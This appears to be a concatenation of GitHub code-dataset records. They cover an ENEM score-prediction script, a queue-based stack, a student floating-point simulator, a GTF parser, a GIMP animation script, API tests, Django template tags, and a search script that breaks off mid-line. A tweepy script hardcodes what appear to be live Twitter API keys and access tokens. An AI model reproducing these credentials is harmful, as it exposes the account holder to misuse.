learning_rate=0.15, \n max_depth=-1, \n n_estimators=250))\n## --- fit do modelo e gravação dos parâmetros em arquivo\nregressor_mt.fit(df[np.append(ft_mt,['CLUSTER','VR_IFDM', 'VR_IDHM'])], \n df['NU_NOTA_MT'])\npickle.dump(model, open('./models/matematica.sav', 'wb'))\n\ndel df\n\n## PREDIÇÂO DAS NOTAS DE MATEMÁTICA\n\nsubmissions = pd.read_csv('./submissions.csv', engine='c')\ndf_mt = reduce_mem_usage( pd.read_csv('../input/test.csv', engine='c', usecols=list_vars) )\n\ndf_mt['VR_IDHM'] = df_mt.CO_MUNICIPIO_RESIDENCIA.map(dict_idhm)\ndf_mt['VR_IFDM'] = df_mt.CO_MUNICIPIO_RESIDENCIA.map(dict_ifdm)\n\n## --- substitui valores NaN (variáveis numéricas) por inteiro arbitrário \n\nfor coluna in df_mt.loc[:2,~df_mt.columns.isin(list_toenc)].columns:\n df_mt[coluna] = df_mt[coluna].fillna(-32768).astype('int16')\n \ni=0\nfor coluna in list_toenc:\n df_mt[coluna] = df_mt[coluna].astype(str).fillna(\"missing\").replace(\"nan\", \"missing\").astype('category')\n df_mt[coluna] = encoders[i].transform(df_mt[coluna])\n i+=1\n \n## --- redução de cardinalidade\n#df_mt['NU_IDADE'] = df_mt['NU_IDADE'].apply(lambda x: x if x<35 else 35)\n\n#df_mt['Q004'] = df_mt['Q004'].apply(lambda x: 0 if x==0 else\n# 1 if (x==1) | (x==2) | (x==5) else x-1)\n\ndf_mt['Q002'] = df_mt['Q002'].apply(lambda x: 1 if (x==1) | (x==7) else x)\n\n#df_mt['TP_ANO_CONCLUIU'] = df_mt['TP_ANO_CONCLUIU'].apply(lambda x: x if x<4 else 4)\n\ndf_mt['Q003'] = df_mt['Q003'].apply(lambda x: 0 if x==0 else\n 1 if (x==1) | (x==2) | (x==5) else x-1)\n\n## clusterização\ndf_mt['CLUSTER'] = model.predict(df_mt[ft_clust])\n## predição\nsubmissions['NU_NOTA_MT'] = regressor_mt.predict(df_mt[np.append(ft_mt,['CLUSTER','VR_IFDM', 'VR_IDHM'])])\nsubmissions['NU_NOTA_MT'].iloc[df_mt[df_mt['TP_PRESENCA_MT']!=1].index] = 0\nsubmissions.to_csv('./submissions.csv', index=False)\n\n","repo_name":"rafaelmgr12/ML-Olympiad-QE","sub_path":"train_predict_matematica.py","file_name":"train_predict_matematica.py","file_ext":"py","file_size_in_byte":8741,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28762205267","text":"import time\n#PushTime: 9.5367431640625e-07\n#PopTime: 8.106231689453125e-06\n#PeekTime: 4.0531158447265625e-06\n\nclass Queue(object):\n '''Queue implements the FIFO principle.'''\n\n def __init__(self):\n self.queue = []\n\n def enqueue(self, item):\n self.queue.append(item)\n\n def dequeue(self):\n if (not self.isEmpty()):\n return self.queue.pop(0)\n else:\n return None\n\n def isEmpty(self):\n return (len(self.queue) == 0)\n\n def size(self):\n return len(self.queue)\n\n # a string representation of this stack.\n def __str__(self):\n return str(self.queue)\n\n\nclass newStack(object):\n def __init__(self):\n self.queue1 = Queue()\n self.queue2 = Queue()\n\n def push(self, item):\n self.queue1.enqueue(item)\n\n def pop(self):\n while self.queue1.size() > 1:\n self.queue2.enqueue(self.queue1.dequeue())\n x = self.queue1.dequeue()\n while not self.queue2.isEmpty():\n self.queue1.enqueue(self.queue2.dequeue())\n return x\n\n def peek(self):\n while (self.queue1.size() > 1):\n self.queue2.enqueue(self.queue1.dequeue())\n x = self.queue1.dequeue()\n while not self.queue2.isEmpty():\n self.queue1.enqueue(self.queue2.dequeue())\n self.queue1.enqueue(x)\n return x\n\n def __str__(self):\n return str(self.queue1)\n \n\ndef main():\n my_stack = newStack()\n\n # Push 10\n start = time.time()\n my_stack.push(10)\n finish = time.time()\n print(\"PushTime: \" + str(finish - start))\n print(my_stack)\n\n # Push 18\n my_stack.push(18)\n print(my_stack)\n\n\n # Push 1024\n my_stack.push(1024)\n print(my_stack)\n\n\n # pop() \n start = time.time()\n print(\"pop() \", my_stack.pop())\n finish = time.time()\n print(\"PopTime: \" + str(finish - start))\n\n # peek()\n start = time.time()\n print(\"peek() \", my_stack.peek())\n finish = time.time()\n print(\"PeekTime: \" + str(finish - start))\n\n\n print(\"pop() \", my_stack.pop())\n print(\"pop() \", my_stack.pop())\n print(\"pop() \", my_stack.pop())\n\nif __name__ == \"__main__\":\n main()","repo_name":"amankavil11/CS313E","sub_path":"InClassAssignments/Assignment3/InClassAssignment3(Q2).py","file_name":"InClassAssignment3(Q2).py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15631352181","text":"import sys\r\nimport math\r\n\r\ndef floorPart(number: float) -> int:\r\n return math.floor(number)\r\n\r\ndef fractionalPart(number: float) -> float:\r\n return number - math.floor(number)\r\n\r\n\r\ndef f_to_bin(num: float, bias: int = 3) -> str:\r\n num = float(num)\r\n\r\n whole = floorPart(num)\r\n decimal = fractionalPart(num)\r\n\r\n bin_whole = bin(whole)[2:]\r\n bin_decimal = ''\r\n\r\n # i = 0\r\n # while i < 8 and (decimal - int(decimal)):\r\n # decimal *= 2\r\n # bin_decimal += str(int(decimal))\r\n # decimal = (decimal - int(decimal))\r\n # i += 1\r\n for i in range (8):\r\n if (decimal - int(decimal)):\r\n decimal *= 2\r\n bin_decimal += str(int(decimal))\r\n decimal = (decimal - int(decimal))\r\n else:\r\n break\r\n \r\n\r\n bin_decimal = bin_decimal + ('0' * (8 - len(bin_decimal)))\r\n\r\n if whole > 0:\r\n exp = len(bin_whole) - 1 + bias\r\n mantissa = (bin_whole[1:] + bin_decimal)[:5]\r\n else:\r\n count = 0\r\n while bin_decimal[count] == '0':\r\n count += 1\r\n exp = -(count + 1) + bias\r\n mantissa = bin_decimal[count + 1: count + 6]\r\n\r\n bin_exp = bin(exp)[2:].zfill(3)\r\n\r\n return bin_exp + mantissa\r\n\r\ndef convertIntegerToDecimal(binary):\r\n n = 0\r\n for i in range(len(binary)):\r\n n += int(binary[- i - 1]) * (2 ** i)\r\n return n\r\n\r\n\r\ndef convertFloatingToDecimal(binary, bias=3):\r\n exp = convertIntegerToDecimal(binary[:3]) - bias\r\n mantissa = binary[3:]\r\n p = 1\r\n for i in range(5):\r\n p += int(mantissa[i]) * (2 ** -(i + 1))\r\n number = p * (2 ** exp)\r\n return number\r\n\r\n\r\n# reg = [0,0,0,0,0,0,0,0]\r\n\r\nreg = [0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125]\r\nflag = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\r\npc = 0\r\nfile=open (\"floating_pt_test.txt\",\"r\")\r\ni=file.read()\r\nins=i.split(\"\\n\")\r\n# ins = sys.stdin.readlines()\r\n# for i in range(len(ins)):\r\n# ins[i]=ins[i].strip()\r\n\r\n \r\n\r\nMEM = [\"0000000000000000\"]*128\r\n\r\nfor i in range (len(ins)):\r\n MEM[i] = ins[i]\r\n\r\n#krishna part 3\r\n\r\n\r\n# def get_required_code(instruction: str) -> list[str, str]:\r\n# opcode = instruction[:5]\r\n# reg1 = instruction[5:8]\r\n# mem = instruction[8:16]\r\n# return REGISTERS[reg1], mem\r\n\r\n\r\n\r\n\r\n\r\ndef b_to_d_7(binary):\r\n decimal = 0\r\n binary = str(binary) # Ensure binary is a string\r\n \r\n if len(binary) != 7:\r\n raise ValueError(\"Invalid binary input. Must be a 7-bit binary number.\")\r\n \r\n for i in range(7):\r\n if binary[i] == '1':\r\n decimal += 2**(6-i)\r\n \r\n return decimal\r\n\r\ndef b_to_d_3(binary):\r\n decimal = 0\r\n power = 0\r\n for digit in reversed(binary):\r\n if digit == '1':\r\n decimal =decimal+ 2 ** power\r\n power += 1\r\n return decimal\r\n\r\ndef d_to_b_7(decimal):\r\n if decimal != 0:\r\n pass\r\n \r\n else:\r\n return '0000000'\r\n \r\n binary = ''\r\n for i in range (0,1000000):\r\n if decimal <= 0:\r\n break \r\n \r\n binary = str(decimal % 2) + binary\r\n decimal //= 2\r\n binary= \"0\"*(7-len(binary))+binary\r\n return binary\r\n\r\ndef d_to_b_16(decimal):\r\n if decimal != 0:\r\n pass\r\n \r\n else:\r\n return '0000000000000000'\r\n \r\n binary = ''\r\n for i in range (0,1000000):\r\n if decimal <= 0:\r\n break \r\n \r\n binary = str(decimal % 2) + binary\r\n decimal //= 2\r\n binary= \"0\"*(16-len(binary))+binary\r\n return binary\r\n\r\ndef binf(immediate: float) -> str:\r\n mantissa = \"\"\r\n exponent = -5\r\n if not 1 <= immediate <= 252:\r\n flag[-4] = 1\r\n print(\"Overflow\")\r\n if immediate < 1:\r\n return \"0\" * 8\r\n else:\r\n return \"1\" * 8\r\n while 2 ** exponent <= immediate:\r\n exponent += 1\r\n exponent -= 1\r\n num = immediate / 2 ** exponent - 1\r\n for _ in range(5):\r\n num *= 2\r\n if num < 1:\r\n mantissa += \"0\"\r\n else:\r\n mantissa += \"1\"\r\n num -= 1\r\n if num != 0:\r\n print(\"Overflow triggered\")\r\n flag[-4] = 1\r\n return bin(exponent)[2:].zfill(3) + mantissa\r\n\r\ndef handle_float(value: str) -> float:\r\n exponent, mantissa = value[:3], value[3:]\r\n value = 0\r\n for i in range(5):\r\n value += int(mantissa[i]) * 2 ** (-i - 1)\r\n return (1 + value) * 2 ** int(exponent, base=2)\r\n # code for floating point by krishna \r\n \r\n# def handle_overflow() -> None:\r\n# REGISTER[7] = \"0\"*12 + \"1000\"\r\n \r\n# def binf(immediate: float) -> str:\r\n# mantissa = \"\"\r\n# exponent = -5\r\n# if not 1 <= immediate <= 252:\r\n# handle_overflow()\r\n# if immediate < 1:\r\n# return \"0\" * 8\r\n# else:\r\n# return \"1\" * 8\r\n# while 2 ** exponent <= immediate:\r\n# exponent += 1\r\n# exponent -= 1\r\n# num = immediate / 2 ** exponent - 1\r\n# for _ in range(5):\r\n# num *= 2\r\n# if num < 1:\r\n# mantissa += \"0\"\r\n# else:\r\n# mantissa += \"1\"\r\n# num -= 1\r\n# if num != 0:\r\n# handle_overflow()\r\n# return bin(exponent)[2:].zfill(3) + mantissa\r\n\r\n\r\n# def handle_float(value: str) -> float:\r\n# exponent, mantissa = value[:3], value[3:]\r\n# value = 0\r\n# for i in range(5):\r\n# value += int(mantissa[i]) * 2 ** (-i - 1)\r\n\r\n# return (1 + value) * 2 ** int(exponent, base=2)\r\n# part 2 ends\r\nprint(\"hi\")\r\nwhile (True):\r\n \r\n\r\n\r\n instruction = ins[pc]\r\n\r\n \r\n\r\n # movf\r\n if instruction[0:5] == \"10010\":\r\n reg_num_1 = int(b_to_d_3(instruction[5:8]))\r\n imm=(convertFloatingToDecimal(instruction[8:]))\r\n if (imm >= 0.125 and imm <= 31.5):\r\n reg[reg_num_1]=imm\r\n flag[-1] = 0\r\n flag[-2] = 0\r\n flag[-3] = 0\r\n flag[-4] = 0\r\n \r\n flag_str = \"\".join(str(i) for i in flag)\r\n\r\n s = d_to_b_7(pc) +\" \"+ f_to_bin(reg[0]) +\" \" + f_to_bin(reg[1])+\" \" + f_to_bin(reg[2]) +\" \"+ f_to_bin(reg[3]) +\" \"+ f_to_bin(reg[4])+\" \" + f_to_bin(reg[5])+\" \" + f_to_bin(reg[6]) + \" \" + flag_str\r\n print(s)\r\n pc+=1\r\n \r\n \r\n \r\n \r\n # addf\r\n if instruction[0:5] == \"10000\" :\r\n reg_num_1 = int(b_to_d_3(instruction[7:10]))\r\n reg_num_2 = int(b_to_d_3(instruction[10:13]))\r\n reg_num_3 = int(b_to_d_3(instruction[13:])) \r\n reg[reg_num_1] = reg[reg_num_2] + reg[reg_num_3]\r\n if (reg[reg_num_1] >127 ):\r\n flag[-4] = 1\r\n flag[-1] = 0\r\n flag[-2] = 0\r\n flag[-3] = 0\r\n reg[reg_num_1] = 0 \r\n else:\r\n flag[-1] = 0\r\n flag[-2] = 0\r\n flag[-3] = 0\r\n flag[-4] = 0 # maybe all flags to be down see later\r\n flag_str = \"\".join(str(i) for i in flag)\r\n \r\n s = d_to_b_7(pc) +\" \"+ f_to_bin(reg[0]) +\" \" + f_to_bin(reg[1])+\" \" + f_to_bin(reg[2]) +\" \"+ f_to_bin(reg[3]) +\" \"+ f_to_bin(reg[4])+\" \" + f_to_bin(reg[5])+\" \" + f_to_bin(reg[6]) + \" \" + flag_str\r\n print(s)\r\n pc +=1\r\n \r\n \r\n # subf\r\n if (instruction[0:5] == \"10001\"):\r\n reg_num_1 = int(b_to_d_3(instruction[7:10]))\r\n reg_num_2 = int(b_to_d_3(instruction[10:13]))\r\n reg_num_3 = int(b_to_d_3(instruction[13:])) \r\n reg[reg_num_1] = reg[reg_num_2] - reg[reg_num_3]\r\n if (reg[reg_num_1] >127 or reg[reg_num_1]<0 ):\r\n flag[-4] = 1\r\n flag[-1] = 0\r\n flag[-2] = 0\r\n flag[-3] = 0\r\n reg[reg_num_1] = 0 \r\n else:\r\n flag[-1] = 0\r\n flag[-2] = 0\r\n flag[-3] = 0\r\n flag[-4] = 0 # maybe all flags to be down see later\r\n flag_str = \"\".join(str(i) for i in flag)\r\n s = d_to_b_7(pc) +\" \"+ f_to_bin(reg[0]) +\" \" + f_to_bin(reg[1])+\" \" + f_to_bin(reg[2]) +\" \"+ f_to_bin(reg[3]) +\" \"+ f_to_bin(reg[4])+\" \" + f_to_bin(reg[5])+\" \" + f_to_bin(reg[6]) + \" \" + flag_str\r\n print(s)\r\n pc +=1 \r\n \r\n\r\n \r\n \r\n # halt\r\n if (instruction[0:5] == \"11010\"):\r\n flag[-1] = 0\r\n flag[-2] = 0\r\n flag[-3] = 0\r\n flag[-4] = 0\r\n flag_str = \"\".join(str(i) for i in flag)\r\n s = d_to_b_7(pc) +\" \"+ f_to_bin(reg[0]) +\" \" + f_to_bin(reg[1])+\" \" + f_to_bin(reg[2]) +\" \"+ f_to_bin(reg[3]) +\" \"+ f_to_bin(reg[4])+\" \" + f_to_bin(reg[5])+\" \" + f_to_bin(reg[6]) + \" \" + flag_str\r\n print(s)\r\n break\r\n \r\n \r\nfor i in range (len(MEM)):\r\n print(MEM[i])","repo_name":"kriishukla/CSE112","sub_path":"q3_floating_point.py","file_name":"q3_floating_point.py","file_ext":"py","file_size_in_byte":8578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29767304870","text":"#!/usr/bin/env python\n\"\"\"Provide code to build pyparsing objects that deal with GTF lines.\"\"\"\n\n# Imports\nfrom collections import namedtuple\nimport pyparsing as p\n\nfrom munch import Munch, munchify\n\n# Metadata\n__author__ = \"Gus Dunn\"\n__email__ = \"w.gus.dunn@gmail.com\"\n\n\n\nclass GTFLine(object):\n __slots__ = [\"seqname\",\"source\",\"feature\",\"start\",\"end\",\"score\",\"strand\",\"frame\",\"attributes\",\"line_number\"]\n def __init__(self, seqname, source, feature, start, end, score, strand, frame, attributes, line_number=None):\n \n self.seqname = seqname\n self.source = source\n self.feature = feature\n self.start = start\n self.end = end\n self.score = score\n self.strand = strand\n self.frame = frame\n self.attributes = attributes\n self.line_number = line_number\n \n def __repr__(self):\n return \"\"\"GTFLine(seqname=\"{seqname}\", source=\"{source}\", feature=\"{feature}\", start=\"{start}\", end=\"{end}\", score=\"{score}\", strand=\"{strand}\", frame=\"{frame}\", attributes={attributes}, line_number={line_number})\"\"\".format(seqname=self.seqname,\n source=self.source,\n feature=self.feature,\n start=self.start,\n end=self.end,\n score=self.score,\n strand=self.strand,\n frame=self.frame,\n attributes=self.attributes,\n line_number=self.line_number)\n\n\n## Helper parts\nsemcol = p.Literal(\";\").suppress()\ntab = p.Literal(\"\\t\").suppress()\nspace = p.Literal(\" \").suppress()\ndquot = p.Literal('\"').suppress()\nsquot = p.Literal(\"'\").suppress()\nquote = dquot | squot\n\n\n# Keywords allowed in Attrs\n# NOTE: this is probably why the parser is GLACIALY slow\nkws = [\"ccdsid\",\n \"exon_id\",\n \"exon_number\",\n \"gene_biotype\",\n \"gene_id\",\n \"gene_name\",\n \"gene_source\",\n \"gene_status\",\n \"gene_type\",\n \"gene_version\",\n \"havana_gene\",\n \"havana_transcript\",\n \"level\",\n \"ont\",\n \"protein_id\",\n \"tag\",\n \"transcript_id\",\n \"transcript_name\",\n \"transcript_status\",\n \"transcript_support_level\",\n \"transcript_type\",]\n\n## Actual parser pieces\nattr_kws = p.Or([p.Keyword(kw) for kw in kws])\nattr_item = attr_kws + p.QuotedString('\"')\n\n\ndef parse_gtf_file(path):\n \"\"\"Parse full GTF file by yielding parsed GTF lines.\n \n Commented text is ignored.\n \n Args:\n path (Path): Path obj pointing to GTF file.\n \n Yields:\n GTFLine: representing a parsed GTP line.\n \"\"\"\n with path.open('r') as gtf:\n line_in_file = 0\n for line in gtf:\n line_in_file += 1\n # discard text to the right of comments\n line = line.strip('\\n').split('#')[0]\n\n if line:\n gtf_line = parse_gtf_line(line, line_number=line_in_file)\n yield gtf_line\n \n\n\n# def parse_gtf_line1(line, line_number=None):\n# \"\"\"Parse a single line of GTF file into it's columns, converting the attributes into a dict.\n#\n# Args:\n# line (str): One line of GTF formatted information.\n# line_number (int|None): Optional: number of the line this comes from in the file (starting from 1).\n#\n# Returns:\n# GTFLine:\n# \"\"\"\n# cols = line.strip('\\n').split('\\t')\n# cols[-1] = Munch({x[0][0]:x[0][1] for x in attr_item.scanString(cols[-1])})\n#\n# return GTFLine(*cols,line_number=line_number)\n \n \ndef parse_gtf_line(line, line_number=None):\n \"\"\"Parse a single line of GTF file into it's columns, converting the attributes into a dict.\n \n Args:\n line (str): One line of GTF formatted information.\n line_number (int|None): Optional: number of the line this comes from in the file (starting from 1).\n \n Returns:\n dict-like\n \"\"\"\n columns = line.strip('\\n').split('\\t')\n required_cols = columns[:-1]\n attrs_col = columns[-1]\n\n attr_strings = (item.strip() for item in attrs_col.strip(';').replace('\"','').split(';'))\n kvs = (attr_string.split() for attr_string in attr_strings)\n\n attr_lib = Munch({k:v for k,v in kvs})\n attr_lib\n \n return GTFLine(*required_cols, attr_lib, line_number=line_number)","repo_name":"ScottSnapperLab/veoibd-synapse-data-manager","sub_path":"src/veoibd_synapse/data/parsers/GTF.py","file_name":"GTF.py","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44984043010","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom gimpfu import *\n\n\ndef createGif(img):\n pdb.gimp_convert_indexed(img, 1, 0, 64, False, False, \"\")\n pdb.file_gif_save(img, pdb.gimp_image_get_active_drawable(img), \"D:/scrollingText.gif\", \"D:/scrollingText.gif\", True, 1,\n 100, 0)\n\n\ndef newImg(width, height):\n return pdb.gimp_image_new(width, height, 0)\n\n\ndef scrollingText(img, frames, txt, font, color, bg_color):\n for i in range(frames + 27):\n img.new_layer(\"Layer\")\n background = pdb.gimp_image_get_active_drawable(img)\n pdb.gimp_context_set_foreground(bg_color)\n pdb.gimp_edit_fill(background, 0)\n textLay = pdb.gimp_text_layer_new(img, txt, font, img.height * 0.8, 0)\n img.add_layer(textLay, 0)\n pdb.gimp_layer_set_offsets(textLay, -i * 25, img.height * 0.1)\n pdb.gimp_text_layer_set_color(textLay, color)\n textLay2 = pdb.gimp_text_layer_new(img, txt, font, img.height * 0.8, 0)\n img.add_layer(textLay2, 0)\n pdb.gimp_layer_set_offsets(textLay2, -i * 25 + textLay.width, img.height * 0.1)\n pdb.gimp_text_layer_set_color(textLay2, color)\n pdb.gimp_image_merge_down(img, img.layers[1], 0)\n pdb.gimp_image_merge_down(img, img.layers[0], 0)\n\n\nimage = newImg(600, 200)\nscrollingText(image, 30, u\"Przewijający się tekst.\", \"Calibri\", \"red\", \"white\")\npdb.gimp_display_new(image)\ncreateGif(image)\n","repo_name":"StriMer22/FAIS-AppliedComputerScience-2019-2022","sub_path":"ComputerGraphic/PythonScripts_Gimp/Animation_ScrollingText.py","file_name":"Animation_ScrollingText.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73917665153","text":"import pytest\n\nimport ymir.protos.mir_common_pb2 as mir_common\nfrom mir.tools.mir_storage_ops import MirStorageOps\n\n\n@pytest.fixture()\ndef mock_mir_content(mocker):\n dict_keywords = {\n \"keywords\": {\n \"d4e4a60147f1e35bc7f5bc89284aa16073b043c9\": {\n \"predifined_keyids\": [52]\n },\n \"430df22960b0f369318705800139fcc8ec38a3e4\": {\n \"predifined_keyids\": [2, 52]\n },\n },\n \"predifined_keyids_cnt\": {\n 52: 2,\n 2: 1\n },\n \"predifined_keyids_total\": 3,\n \"index_predifined_keyids\": {\n 2: {\n \"asset_ids\": [\"430df22960b0f369318705800139fcc8ec38a3e4\"]\n },\n 52: {\n \"asset_ids\": [\"430df22960b0f369318705800139fcc8ec38a3e4\", \"d4e4a60147f1e35bc7f5bc89284aa16073b043c9\"]\n },\n },\n }\n\n dict_annotations = {\n \"task_annotations\": {\n \"5928508c-1bc0-43dc-a094-0352079e39b5\": {\n \"image_annotations\": {\n \"d4e4a60147f1e35bc7f5bc89284aa16073b043c9\": {\n \"annotations\": [{\n \"box\": {\n \"x\": 26,\n \"y\": 189,\n \"w\": 19,\n \"h\": 50\n },\n \"class_id\": 2\n }]\n }\n }\n }\n },\n \"head_task_id\": \"5928508c-1bc0-43dc-a094-0352079e39b5\",\n }\n\n dict_metadatas = {\n \"attributes\": {\n \"d4e4a60147f1e35bc7f5bc89284aa16073b043c9\": {\n \"asset_type\": \"2\",\n \"width\": 1080,\n \"height\": 1620,\n \"image_channels\": 3,\n },\n \"430df22960b0f369318705800139fcc8ec38a3e4\": {\n \"asset_type\": \"2\",\n \"width\": 1080,\n \"height\": 1620,\n \"image_channels\": 3,\n },\n }\n }\n\n mocker.patch.object(\n MirStorageOps,\n \"load\",\n return_value={\n mir_common.MirStorage.MIR_METADATAS: dict_metadatas,\n mir_common.MirStorage.MIR_ANNOTATIONS: dict_annotations,\n mir_common.MirStorage.MIR_KEYWORDS: dict_keywords,\n },\n )\n\n\nclass TestAssetController:\n def test_get_asserts_info(self, test_client, mock_mir_content):\n user_id = \"user_id\"\n repo_id = \"repo_id\"\n branch_id = \"5928508c-1bc0-43dc-a094-0352079e39b5\"\n expect_data = {\n \"class_ids_count\": {\n \"2\": 1,\n \"52\": 2\n },\n \"elements\": [\n {\n \"asset_id\": \"d4e4a60147f1e35bc7f5bc89284aa16073b043c9\",\n \"class_ids\": [52]\n },\n {\n \"asset_id\": \"430df22960b0f369318705800139fcc8ec38a3e4\",\n \"class_ids\": [2, 52]\n },\n ],\n \"limit\":\n 20,\n \"offset\":\n 0,\n \"total\":\n 2,\n }\n resp = test_client.get(f\"/v1/users/{user_id}/repositories/{repo_id}/branches/{branch_id}/assets\")\n assert resp.status_code == 200\n assert resp.json()[\"result\"] == expect_data\n\n expect_data = {\n \"class_ids_count\": {\n \"2\": 1,\n \"52\": 2\n },\n \"elements\": [{\n \"asset_id\": \"430df22960b0f369318705800139fcc8ec38a3e4\",\n \"class_ids\": [2, 52]\n }],\n \"limit\": 20,\n \"offset\": 0,\n \"total\": 1,\n }\n filter_class_id = \"class_id=2\"\n resp = test_client.get(\n f\"/v1/users/{user_id}/repositories/{repo_id}/branches/{branch_id}/assets?{filter_class_id}\")\n assert resp.status_code == 200\n assert resp.json()[\"result\"] == expect_data\n\n def test_get_assert_id_info(self, test_client, mock_mir_content):\n user_id = \"user_id\"\n repo_id = \"repo_id\"\n branch_id = \"branch_id\"\n asset_id = \"d4e4a60147f1e35bc7f5bc89284aa16073b043c9\"\n\n expect_data = {\n \"metadata\": {\n \"asset_type\": \"2\",\n \"width\": 1080,\n \"height\": 1620,\n \"image_channels\": 3\n },\n \"annotations\": [{\n \"box\": {\n \"x\": 26,\n \"y\": 189,\n \"w\": 19,\n \"h\": 50\n },\n \"class_id\": 2\n }],\n \"class_ids\": [52],\n }\n resp = test_client.get(f\"/v1/users/{user_id}/repositories/{repo_id}/branches/{branch_id}/assets/{asset_id}\")\n\n assert resp.status_code == 200\n assert resp.json()[\"result\"] == expect_data\n\n asset_id = \"430df22960b0f369318705800139fcc8ec38a3e4\"\n expect_data = {\n \"annotations\": [],\n \"class_ids\": [2, 52],\n \"metadata\": {\n \"asset_type\": \"2\",\n \"height\": 1620,\n \"image_channels\": 3,\n \"width\": 1080\n },\n }\n resp = test_client.get(f\"/v1/users/{user_id}/repositories/{repo_id}/branches/{branch_id}/assets/{asset_id}\")\n\n assert resp.status_code == 200\n assert resp.json()[\"result\"] == expect_data\n","repo_name":"IJtLJZ8Rm4Yr/ymir-backend","sub_path":"src/pymir-viz/tests/controllers/test_asset_controller.py","file_name":"test_asset_controller.py","file_ext":"py","file_size_in_byte":5431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6370707006","text":"# coding=utf-8\nfrom django import template\nfrom django import forms\nregister = template.Library()\n\n\n@register.simple_tag\ndef get_verbose_field_name(instance, field_name):\n \"\"\"\n Returns verbose_name for a field.\n \"\"\"\n try:\n name = instance._meta.get_field(field_name).verbose_name.title().decode(\n 'utf-8')\n except:\n name = instance._meta.get_field(field_name).verbose_name.title()\n if name == 'Id':\n return u'编号'\n else:\n return name\n\n\n@register.simple_tag\ndef getattribute(instance, field):\n if field == 'sex':\n if getattr(instance, field) == True:\n return u'男'\n else:\n return u'女'\n return getattr(instance, field)\n\n\n@register.simple_tag\ndef get_widget(char, column_id):\n if char == 'int':\n return forms.TextInput(\n attrs={'required': True,\n 'step': '1',\n 'type': 'number'}).render(column_id, '')\n if char == 'char':\n return forms.TextInput(\n attrs={'required': True,\n 'type': 'text'}).render(column_id, '')\n if char == 'float':\n return forms.TextInput(\n attrs={'required': True,\n 'step': '0.01',\n 'type': 'number'}).render(column_id, '')\n if char == 'bool':\n return forms.TextInput(\n attrs={'required': True,\n 'type': 'checkbox'}).render(column_id, '')\n if char == 'text':\n return forms.Textarea(attrs={'required': True}).render(column_id, '')\n if char == 'datetime':\n return forms.TextInput(\n attrs={'required': True,\n 'class': 'datetimepicker'}).render(column_id, '')","repo_name":"jason9797/store_system","sub_path":"role/templatetags/verbose_name.py","file_name":"verbose_name.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1083974692","text":"import tweepy\nimport csv\nimport json\nimport sys\n\nconsumer_key = \"osRJEPEzaRosZCvB6fjknpgYW\"\nconsumer_secret = \"awJeYW3pV3zUE2R9bw44po1fANGhtkcKy6OCmEQhz7Q2NLG7Nv\"\naccess_token = \"984073643885031424-fHKjG32Dj3EXPXxGblUloAxaBQAEMTF\"\naccess_token_secret = \"Myevw0DMUunrBA7h98BDBJWOqpEp3G7pgcyewqrs1dU4e\"\n\nauth = tweepy.OAuthHandler(consumer_key,consumer_secret)\nauth.set_access_token(access_token,access_token_secret)\napi =tweepy.API(auth,wait_on_rate_limit=True,wait_on_rate_limit_notify=True)\n\nlink='http://www.affaritaliani.it/economia/guido-maria-brera-italia-vicina-alla-svolta-ma-la-politica-non-faccia-danni-541054.html'\ntweetCount = 100\nresults = api.search(q=link, count=tweetCount)\n\noutputfilecsv = \"searched_link.csv\"\nfc = csv.writer(open(outputfilecsv,'w'))\nfc.writerow([\"id\",\"screen_name\",\"location\",\"description\"])\nfor tweet in results:\n fc.writerow([tweet.user.id,tweet.user.screen_name,tweet.user.location,tweet.user.description])\n","repo_name":"hades208002/The-spread-of-news-in-social-network","sub_path":"searchUsersByLink.py","file_name":"searchUsersByLink.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26354429239","text":"#!/usr/bin/python3\nimport sys\nimport getopt\nimport util\nimport linecache\nimport math\nfrom collections import defaultdict\nfrom spellchecker import SpellChecker\nimport heapq\n\nfrom nltk.corpus import wordnet\nimport rocchio\nfrom nltk.wsd import lesk\n\nfrom dictionary import Dictionary\nfrom postingsfile import PostingsFile\nfrom extended_boolean import extended_boolean_p_norm_model\nimport tf_idf\nimport query_expansion\nimport boolean\n\n\ndef usage():\n print(\"usage: \" + sys.argv[0] + \" -d dictionary-file -p postings-file -q query-file -o output-file-of-results\")\n\n\ndef parse_query(query_str):\n \"\"\"\n Possible Inputs: \n - Free text: quite phone call\n - Boolean and phrasal queries: \"fertility treatment\" AND damages AND \"medicine\" and sick\n\n Returns:\n - is_boolean_query: whether it is a boolean query\n - query: list of query tokens [term, ...]\n \"\"\"\n is_boolean_query = \"AND\" in query_str\n\n if is_boolean_query:\n query = [query_term.strip() for query_term in query_str.split('AND')]\n else:\n # Free text query\n query = util.preprocess_content(query_str)\n\n return is_boolean_query, query\n\n\ndef run_search(dict_file, postings_file, query_file, results_file):\n \"\"\"\n using the given dictionary file and postings file,\n perform searching on the given query file and output the results to a file\n \"\"\"\n postings = PostingsFile(postings_file)\n\n # Load index into memory\n dictionary = Dictionary(dict_file)\n dictionary.load()\n\n output_f = open(results_file, 'wt')\n\n line_num = 1\n query_str = linecache.getline(query_file, line_num)\n\n is_boolean_query, query = parse_query(query_str)\n\n new_query = query_expansion.query_expansion_thesaurus(query_str)\n\n if is_boolean_query:\n results_bool = boolean.eval_boolean_query(query, dictionary, postings)\n results_ex_bool = boolean.eval_extended_boolean_query(query, dictionary, postings)\n results_lnc = tf_idf.eval_free_text_query(new_query, dictionary, postings, True)\n\n results = 